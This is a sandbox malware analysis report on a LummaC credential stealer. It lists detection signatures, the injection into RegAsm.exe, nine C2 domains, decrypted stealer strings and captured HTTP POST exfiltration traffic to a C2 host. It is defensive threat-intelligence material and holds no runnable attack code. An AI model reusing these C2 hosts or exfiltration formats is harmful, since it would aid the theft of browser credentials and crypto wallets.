Edit tour

Windows Analysis Report
launcher.exe

Overview

General Information

Sample name:	launcher.exe
Analysis ID:	1429438
MD5:	913b4744fbcd88cbc9ba44808a835a91
SHA1:	d5cb6cbe5d4ad8b20a351080a6bc8e85fa72a64e
SHA256:	b411fa289b897c774560292abcf7c298e29e1b9b8243357b1cc7d25a28622739
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

launcher.exe (PID: 7444 cmdline: "C:\Users\user\Desktop\launcher.exe" MD5: 913B4744FBCD88CBC9BA44808A835A91)

RegAsm.exe (PID: 7464 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7472 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 7560 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7444 -s 596 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "sideindexfollowragelrew.pw"], "Build id": "LPnhqo--@Krystalik3"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: RegAsm.exe PID: 7472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Lumma Stealer Related Domain in DNS Lookup (sideindexfollowragelrew .pw) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	04/22/24-07:00:05.913565
SID:	2049958
Source Port:	63363
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: launcher.exe

Avira: detected

Found malware configuration

Source: 2.2.RegAsm.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "sideindexfollowragelrew.pw"], "Build id": "LPnhqo--@Krystalik3"}

Multi AV Scanner detection for domain / URL

Source: sideindexfollowragelrew.pw	Virustotal: Detection: 23%	Perma Link
Source: incredibleextedwj.shop	Virustotal: Detection: 14%	Perma Link
Source: https://productivelookewr.shop/api	Virustotal: Detection: 14%	Perma Link
Source: tolerateilusidjukl.shop	Virustotal: Detection: 14%	Perma Link
Source: https://productivelookewr.shop:443/api	Virustotal: Detection: 14%	Perma Link
Source: sideindexfollowragelrew.pw	Virustotal: Detection: 23%	Perma Link

Multi AV Scanner detection for submitted file

Source: launcher.exe

Virustotal: Detection: 22%

Perma Link

Machine Learning detection for sample

Source: launcher.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: productivelookewr.shop
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sideindexfollowragelrew.pw
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--@Krystalik3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0041698E CryptUnprotectData,

2_2_0041698E

Source: launcher.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: launcher.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\launcher.exe

Code function: 0_2_003749E4 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_003749E4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\3D Objects	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\ConnectedDevicesPlatform	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\.ms-ad	Jump to behavior

Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	0_2_003A407B
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_003BF060
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov edx, dword ptr [esp+50h]	0_2_0039C127
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then movzx ecx, word ptr [ebx+eax]	0_2_003A2170
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000170h]	0_2_00399169
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	0_2_003A715C
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000540h]	0_2_003AA237
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_003AA237
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000540h]	0_2_003AA234
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_003AA234
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+0Ch]	0_2_003BB28E
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	0_2_003BB28E
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esp+68h]	0_2_0039C2F5
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_003BE360
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 73CEF4DDh	0_2_003BB475
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000540h]	0_2_003A9AFE
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_003A9AFE
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_003BE480
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	0_2_003974EC
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000B0h]	0_2_0039A569
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_003A0550
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then jmp eax	0_2_003BC5B0
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then add edi, 02h	0_2_00399672
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then movsx ebp, byte ptr [edi]	0_2_003BC655
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_003BE680
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then jmp eax	0_2_003BD6D2
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000170h]	0_2_00396726
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_003AB748
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then movsx edx, byte ptr [eax+ebx]	0_2_003A7783
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then cmp byte ptr [ecx+eax+01h], 00000000h	0_2_0039781B
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_003928E0
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	0_2_00387A30
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_003A0A30
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	0_2_003BEA10
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov edx, dword ptr [esi+5Ch]	0_2_003A8276
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov edx, dword ptr [esi+5Ch]	0_2_003A8B65
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then jmp eax	0_2_003A8C65
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000E8h]	0_2_00396C43
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	0_2_003A3CB4
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	0_2_003BED10
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then cmp word ptr [eax], 0000h	0_2_00397D14
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	0_2_003A5D90
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_003B5E10
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then inc ebx	0_2_0039AE50
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then jmp ecx	0_2_003BBE88
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_003A7F75
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then jmp eax	0_2_003BCFBD
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then jmp eax	0_2_003BCFD6
Source: C:\Users\user\Desktop\launcher.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0039AFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 73CEF4DDh	2_2_00436045
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	2_2_00439050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], cl	2_2_00426318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	2_2_004395E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	2_2_00420960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	2_2_00422B45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00415B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	2_2_0041EC4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+50h]	2_2_00416CF7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [ebx+eax]	2_2_0041CD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+0Ch]	2_2_00435E5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	2_2_00435E5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000540h]	2_2_004246CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	2_2_004246CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	2_2_004120BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_0041B120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000B0h]	2_2_00415139
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00437180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add edi, 02h	2_2_00414242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	2_2_00439250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx ebp, byte ptr [edi]	2_2_00437225
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000170h]	2_2_004112F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_004382A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx edx, byte ptr [eax+ebx]	2_2_00422353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ecx+eax+01h], 00000000h	2_2_004123EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_0040D4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	2_2_00402600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	2_2_0041B600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+5Ch]	2_2_00423735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+5Ch]	2_2_00422E46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000E8h]	2_2_00411813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00423835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	2_2_004398E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [eax], 0000h	2_2_004128E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	2_2_0041E884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_004309E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	2_2_00436A58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	2_2_00415A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00437B8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00437BA6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	2_2_00439C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	2_2_00421D2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000170h]	2_2_00413D39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000540h]	2_2_00424E07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	2_2_00424E07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000540h]	2_2_00424E04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	2_2_00424E04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+68h]	2_2_00416EC5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	2_2_00438F30

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2049958 ET TROJAN Lumma Stealer Related Domain in DNS Lookup (sideindexfollowragelrew .pw) 192.168.2.4:63363 -> 1.1.1.1:53

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: sideindexfollowragelrew.pw

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 60Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18169Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8790Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20443Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7088Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1410Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587424Host: productivelookewr.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: sideindexfollowragelrew.pw

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: productivelookewr.shop

Source: launcher.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: launcher.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: launcher.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: launcher.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: launcher.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: launcher.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: launcher.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: launcher.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: launcher.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: launcher.exe	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: launcher.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: launcher.exe	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: launcher.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: launcher.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: launcher.exe	String found in binary or memory: http://ocsp.digicert.com0H
Source: launcher.exe	String found in binary or memory: http://ocsp.digicert.com0I
Source: launcher.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: launcher.exe	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: RegAsm.exe, 00000002.00000002.1805056555.0000000001196000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1805056555.000000000110A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://productivelookewr.shop/
